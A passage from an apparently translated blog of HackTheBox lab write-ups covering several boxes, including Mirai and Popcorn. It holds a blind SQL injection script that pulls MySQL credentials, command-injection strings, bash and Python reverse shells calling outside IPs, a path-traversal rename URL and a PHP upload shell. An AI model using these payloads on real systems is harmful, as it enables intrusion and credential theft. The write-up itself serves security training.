Gecko/20100101 Firefox/102.0&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept&amp;#39;: &amp;#39;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept-Language&amp;#39;: &amp;#39;en-US,en;q=0.5&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept-Encoding&amp;#39;: &amp;#39;gzip, deflate&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Connection&amp;#39;: &amp;#39;close&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Cookie&amp;#39;: &amp;#39;PHPSESSID=2c1jempek07j9n0fdtce3bcgn7&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Upgrade-Insecure-Requests&amp;#39;: &amp;#39;1&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;a = open(&amp;#39;2.txt&amp;#39;,&amp;#39;r&amp;#39;,encoding=&amp;#39;utf-8&amp;#39;).readlines()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print(&amp;#34;start&amp;#34;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for number in range(1,18):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; for i in a:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; temp = i.replace(&amp;#39;\n&amp;#39;, &amp;#39;&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; url = f&amp;#34;http://10.10.10.143/room.php?cod=1%20and%20substr((SELECT%20User%20FROM%20mysql.user),{str(number)},1)=%27{temp}%27--+&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response = requests.get(url=url, headers=headers)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if response.status_code == 200 and len(response.text) &amp;gt; 6200:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(temp, end=&amp;#39;&amp;#39;, flush=True)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; break&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;a = open(&amp;#39;3.txt&amp;#39;,&amp;#39;r&amp;#39;,encoding=&amp;#39;utf-8&amp;#39;).readlines()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print(&amp;#34;start&amp;#34;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for number in range(2,1000):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; for i in a:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; temp = i.replace(&amp;#39;\n&amp;#39;, &amp;#39;&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; url = f&amp;#34;http://10.10.10.143/room.php?cod=1%20and%20substr((SELECT%20Password%20FROM%20mysql.user),{str(number)},1)=%27{temp}%27--+&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(url)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response = requests.get(url=url, headers=headers)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(response.status_code)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(len(response.text))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if response.status_code == 200 and len(response.text) &amp;gt; 6200:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(temp, end=&amp;#39;&amp;#39;, flush=True)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; break&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I wrote a script.&lt;/p&gt;&#10;&lt;p&gt;2.txt contains uppercase letters (A-Z), lowercase letters (a-z), digits (0-9), _, and -.&lt;/p&gt;&#10;&lt;p&gt;3.txt contains possible password characters. The first character is definitely * and is useless; everything after it is made up of characters, so a character dictionary is enough.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0224.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;If you use select user() to retrieve the account, it will have @localhost appended.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0225.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Crack it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0226.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0227.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Successfully logged in.&lt;/p&gt;&#10;&lt;p&gt;The version is 4.8.0, so just find a matching exploit.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0228.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;50457 looks usable.&lt;/p&gt;&#10;&lt;p&gt;There are plenty of vulnerabilities once you can access the phpMyAdmin backend. Command execution succeeded.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0229.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0230.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The shell came back.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0231.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Time for privilege escalation. My plan was to stop focusing on the website: I already had the current user&amp;rsquo;s credentials, the site had nothing else, and there was no need to inspect its configuration files.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0232.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There is a log under the pepper directory that records our attacks.&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s do the usual privilege-escalation checks. There is still something here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0233.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This is the path forward. Let&amp;rsquo;s inspect it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0234.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;First upload pspy32 and monitor processes in another window, then come back to this. I mainly wanted to catch anything unexpected; if I finished this first, I might miss some processes.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0235.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0236.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found several interesting things.&lt;/p&gt;&#10;&lt;p&gt;But let&amp;rsquo;s keep monitoring and inspect that file from earlier first.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0237.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found the key point.&lt;/p&gt;&#10;&lt;p&gt;Pass -p as the first argument.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0238.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Looking back at the function, it filters the input and rejects concatenation characters. I couldn&amp;rsquo;t think of a bypass.&lt;/p&gt;&#10;&lt;p&gt;Based on previous boxes, this time I thought to Google it directly using English terms.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://security.stackexchange.com/questions/219605/command-injection-filtering-bypass" target="_blank" rel="noopener"&#10; &gt;https://security.stackexchange.com/questions/219605/command-injection-filtering-bypass&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;That led me to a useful article.&lt;/p&gt;&#10;&lt;p&gt;sudo -u pepper /var/www/Admin-Utilities/simpler.py -p&lt;/p&gt;&#10;&lt;p&gt;127.0.0.1$(cat /home/pepper/user.txt &amp;gt;/tmp/2)&lt;/p&gt;&#10;&lt;p&gt;10.10.66.66$(cat /home/pepper/user.txt)&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s test command concatenation.&lt;/p&gt;&#10;&lt;p&gt;Both work: one writes directly to a file, while the other causes an error and prints the output.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0239.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Successfully read the file. Time to escalate privileges.&lt;/p&gt;&#10;&lt;p&gt;I tried many things here before coming up with a good approach. It rejects -, but every reverse-shell method needs it. Switching users with su also failed because it required a password.&lt;/p&gt;&#10;&lt;p&gt;Write the reverse-shell command directly into a file: echo &amp;ldquo;bash -c &amp;rsquo;exec bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.13/6661&amp;rsquo;&amp;rdquo; &amp;gt; /tmp/1.sh&lt;/p&gt;&#10;&lt;p&gt;Then call it directly through command concatenation:&lt;/p&gt;&#10;&lt;p&gt;10.10.66.66$(sh /tmp/1.sh)&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0240.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The shell connected back successfully, but there was another problem: this new shell depended on the old one to stay alive. If the old shell disconnected or anything happened to it, the new one became completely useless. The reverse-shell script itself must have been flawed.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0241.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Switching to a Python script fixed it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&amp;#34;10.10.10.10&amp;#34;,9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(&amp;#34;sh&amp;#34;)&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Write it to /tmp/2.py and run it to get a shell back.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0242.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The standard privilege-escalation checks didn&amp;rsquo;t seem to lead anywhere.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0243.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Looking back at pspy32, I didn&amp;rsquo;t see any scheduled tasks. There were only two files running under /root, but I had no permission to inspect them.&lt;/p&gt;&#10;&lt;p&gt;Just upload an enumeration script and scan.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0244.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0245.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0246.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0247.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0248.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The information above is what I collected. The final privilege-escalation path is obviously here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0249.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found a method, although it was a bit awkward to use. This article explains it well, and I eventually escalated privileges successfully.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.cnblogs.com/zlgxzswjy/p/14781471.html" target="_blank" rel="noopener"&#10; &gt;https://www.cnblogs.com/zlgxzswjy/p/14781471.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0250.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0251.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That&amp;rsquo;s the end. I learned quite a lot from this one, but unlike the previous boxes, I never got completely stuck; every step was solvable.&lt;/p&gt;&#10;&lt;p&gt;Time to read a write-up.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0252.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This step used UNION injection and the same method that writes a shell.&lt;/p&gt;&#10;&lt;p&gt;The rest of my approach was mostly fine.&lt;/p&gt;&#10;&lt;h2 id="13mirai"&gt;&lt;a href="#13mirai" class="header-anchor"&gt;&lt;/a&gt;13.Mirai&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0253.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Nothing on port 22.&lt;/p&gt;&#10;&lt;p&gt;Port 53 had no domain name, so it couldn&amp;rsquo;t be resolved.&lt;/p&gt;&#10;&lt;p&gt;Port 80 had an admin page, a version page, and a short message.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0254.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Filter out responses of length 61 and continue directory brute-forcing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0255.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t find an exploitable vulnerability. The usable ones all required logging in and obtaining a session. Usually you brute-force while also looking for default credentials.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0256.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing on version either. The default credentials are username pi, password raspberry.&lt;/p&gt;&#10;&lt;p&gt;Leave that for now and continue.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0257.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0258.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0259.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Absolutely nothing. The only ideas left were SSH and Plex, but Plex was inaccessible. Let&amp;rsquo;s brute-force directories first.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0260.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got straight in.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0261.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Ridiculous.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0262.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;As expected, it wasn&amp;rsquo;t that simple.&lt;/p&gt;&#10;&lt;p&gt;I researched this afterward and started testing based on my own reasoning, since I had never learned about this before.&lt;/p&gt;&#10;&lt;p&gt;I spent a long time doing it the wrong way, and nothing worked.&lt;/p&gt;&#10;&lt;p&gt;Eventually I had to read a write-up, where I learned one crucial point.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0263.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;First: df -h&#9;mount&#9;lsblk&lt;/p&gt;&#10;&lt;p&gt;All three commands show which device is mounted. According to the author&amp;rsquo;s explanation, deleting something after mounting it doesn&amp;rsquo;t mean it has also been erased from the original device.&lt;/p&gt;&#10;&lt;p&gt;Only this article explained it clearly:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://0xdf.gitlab.io/2022/05/18/htb-mirai.html" target="_blank" rel="noopener"&#10; &gt;https://0xdf.gitlab.io/2022/05/18/htb-mirai.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;In other words, deletion doesn&amp;rsquo;t thoroughly erase the data; it only removes the file system&amp;rsquo;s directory structure. The data is overwritten when new data is written there. Apparently all disks work this way.&lt;/p&gt;&#10;&lt;p&gt;cat, grep, and strings all work because they can all inspect the data in the file.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0264.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0265.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0266.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;grep -aPo &amp;lsquo;[a-zA-Z0-9]{32}&amp;rsquo; /dev/sdb&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0267.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Another lesson learned.&lt;/p&gt;&#10;&lt;p&gt;That&amp;rsquo;s the end. This box broadened my knowledge, and its approach was quite different from the earlier ones. I learned something new.&lt;/p&gt;&#10;&lt;h2 id="14popcorn"&gt;&lt;a href="#14popcorn" class="header-anchor"&gt;&lt;/a&gt;14.Popcorn&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0268.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Port 22 requires a private key.&lt;/p&gt;&#10;&lt;p&gt;Port 80 has something on it.&lt;/p&gt;&#10;&lt;p&gt;This was originally test.php. Directory brute-forcing reveals it; I renamed it during testing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0269.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0270.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0271.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Registering grants access to this page, where files can be uploaded. It doesn&amp;rsquo;t seem to restrict file extensions. The only unclear part was where uploaded files went.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0272.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found an n-day, but according to its description the file should have been under the torrents directory. In reality, it wasn&amp;rsquo;t there.&lt;/p&gt;&#10;&lt;p&gt;I had a good idea here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0273.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://popcorn.htb/rename/index.php?filename=../torrent/torrents.php&amp;amp;newfilename=../torrent/torrents.txt" target="_blank" rel="noopener"&#10; &gt;http://popcorn.htb/rename/index.php?filename=../torrent/torrents.php&amp;amp;newfilename=../torrent/torrents.txt&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Rename it to txt, download it, and audit the code.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0274.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It worked.&lt;/p&gt;&#10;&lt;p&gt;Finally, I read the PHP files I had found:&lt;/p&gt;&#10;&lt;p&gt;torrents.php&lt;/p&gt;&#10;&lt;p&gt;upload.php&lt;/p&gt;&#10;&lt;p&gt;config.php&lt;/p&gt;&#10;&lt;p&gt;To get straight to the point, after reading them I found that the naming scheme takes the current torrent file&amp;rsquo;s SHA-1 value and appends .btf to form the filename.&lt;/p&gt;&#10;&lt;p&gt;The files are stored at &lt;a class="link" href="http://popcorn.htb/torrent/torrents/" target="_blank" rel="noopener"&#10; &gt;http://popcorn.htb/torrent/torrents/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Therefore, the path of the bundled Kali image was &lt;a class="link" href="http://popcorn.htb/torrent/torrents/723bc28f9b6f924cca68ccdff96b6190566ca6b4.btf" target="_blank" rel="noopener"&#10; &gt;http://popcorn.htb/torrent/torrents/723bc28f9b6f924cca68ccdff96b6190566ca6b4.btf&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;While reading the code, I encountered something new to me: obtaining a torrent file&amp;rsquo;s SHA-1 value in PHP.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0275.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This is how it is extracted, and from the subsequent code:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0276.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Everything became obvious. Upload something whose SHA-1 differs from the previous value—download anything from Baidu—add PHP code to it, upload it, and use rename on that filename to get a shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0277.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Give it any name and upload it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0278.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got it here as well. Now download it and find its hash.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0279.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0280.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem at all. Just rename it directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0281.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Access it directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0282.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It threw an error, but at least it could be parsed. The problem was on my side, so I tried again.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0283.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Switching to another file fixed it.&lt;/p&gt;&#10;&lt;p&gt;Time for privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0284.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This came from config.php. I had actually read it earlier, but I&amp;rsquo;ll record it again.&lt;/p&gt;&#10;&lt;p&gt;There is a th_database.sql file under /var/www/torrent/database. Let&amp;rsquo;s transfer it locally and inspect it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0285.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing else.&lt;/p&gt;&#10;&lt;p&gt;admin/admin12&lt;/p&gt;&#10;&lt;p&gt;torrent/SuperSecret!!&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0286.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;sudo didn&amp;rsquo;t work.&lt;/p&gt;&#10;&lt;p&gt;The home directory contained the torrenthoster.zip source code.&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s upload an enumeration script and scan.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0287.zh.webp" alt="" loading="lazy" 